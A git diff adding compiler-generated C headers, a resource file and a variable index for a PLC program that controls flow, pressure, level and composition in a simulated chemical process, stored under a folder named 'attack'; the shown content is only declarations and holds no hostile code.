IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; 